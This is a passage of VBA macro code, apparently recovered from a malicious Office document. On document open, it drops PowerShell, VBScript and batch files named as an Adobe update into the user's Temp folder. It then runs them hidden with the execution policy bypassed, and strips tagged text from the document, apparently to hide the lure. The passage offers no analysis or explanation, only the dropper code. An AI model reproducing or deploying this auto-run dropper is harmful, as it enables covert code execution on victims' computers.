\"AppData\Local\Temp\adobeacd-update.ps1"  
Print #FileNumb, "Set objShell = CreateObject(Wscript.shell)"  
Print #FileNumb, "objShell.Run powershell.exe -noexit -ExecutionPolicy bypass -nopprofile  
-file & currentFile,0,true"  
Print #FileNumb, ""  
Close #FileNumb
```

```
Open "c:\Users\' + USER + \"AppData\Local\Temp\adobeacd-update.bat" For Output As  
#FileNs  
Print #FileNs, "@echo off"  
Print #FileNs, "ping 1.1.2.2 -n 2"  
Print #FileNs, "chcp 1251"  
Print #FileNs, ":csakclasjdklas"
```

```
Print #FileNs, "cscript.exe c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.vbs"
Print #FileNs, "exit"
Close #FileNs
```

```
SetAttr "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.ps1", vbNormal
SetAttr "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.bat", vbNormal
SetAttr "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.vbs", vbNormal
```

```
WaitFor (1)
retVal = Shell("c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.bat", 0)
End If
```

```
findTest
secondTest
For Each myStoryRange In ActiveDocument.StoryRanges
With myStoryRange.Find
    .Text = "<select>"
    .Replacement.Text = " "
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
End With
Next myStoryRange
```

```
For Each myStoryRange In ActiveDocument.StoryRanges
With myStoryRange.Find
    .Text = "</select>"
    .Replacement.Text = " "
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
End With
Next myStoryRange
```

```
For Each myStoryRange In ActiveDocument.StoryRanges
With myStoryRange.Find
    .Text = "<inbox>"
    .Replacement.Text = " "
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
End With
Next myStoryRange
```

```
For Each myStoryRange In ActiveDocument.StoryRanges
With myStoryRange.Find
```

```
.Text = "</inbox>"
.Replacement.Text = " "
.Wrap = wdFindContinue
.Execute Replace:=wdReplaceAll
End With
Next myStoryRange
```

```
End Sub
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
```

```
Do While Timer < SngSec
DoEvents
Loop
```

```
End Sub
```

```
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub findTest()
Dim firstTerm As String
Dim secondTerm As String
Dim rrtt As Range
Dim selRange As Range
Dim selectedText As String
Set rrtt = ActiveDocument.Range
firstTerm = "<select>"
secondTerm = "</select>"
With rrtt.Find
.Text = firstTerm
.MatchWholeWord = True
.Execute
rrtt.Collapse direction:=wdCollapseEnd
Set selRange = ActiveDocument.Range
selRange.Start = rrtt.End
.Text = secondTerm
.MatchWholeWord = True
.Execute
```

```
ASKSASADW = "asjldklas"
rrtt.Collapse direction:=wdCollapseStart
selRange.End = rrtt.Start
selectedText = selRange.Delete
End With
End Sub
```

```
Sub secondTest()
Dim firstTerm As String
Dim secondTerm As String
Dim myRanget As Range
Dim yytt As Range
Dim selRanget As Range
Dim selectedTextt As String
```

```
Set yytt = ActiveDocument.Range
firstTerm = "<inbox>"
secondTerm = "</inbox>"
With yytt.Find
.Text = firstTerm
.MatchWholeWord = True
.Execute
yytt.Collapse direction:=wdCollapseEnd
```

```
Set selRanget = ActiveDocument.Range
selRanget.Start = yytt.End
.Text = secondTerm
.MatchWholeWord = True
.Execute
```

```
yytt.Collapse direction:=wdCollapseStart
selRanget.End = yytt.Start
selectedTextt = selRanget
selRanget.Font.Color = wdColorBlack
End With
End Sub
```

```
Attribute VB_Name = "UserForm1"
Attribute VB_Base =
"0{04FAE90E-CD17-479F-8556-C74BB6951164}{739DCFC4-8AC8-4764-81DF-F4E14EA4391
2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
```

Attribute VB\_Exposed = False  
Attribute VB\_TemplateDerived = False  
Attribute VB\_Customizable = False

----- END OF CODE -----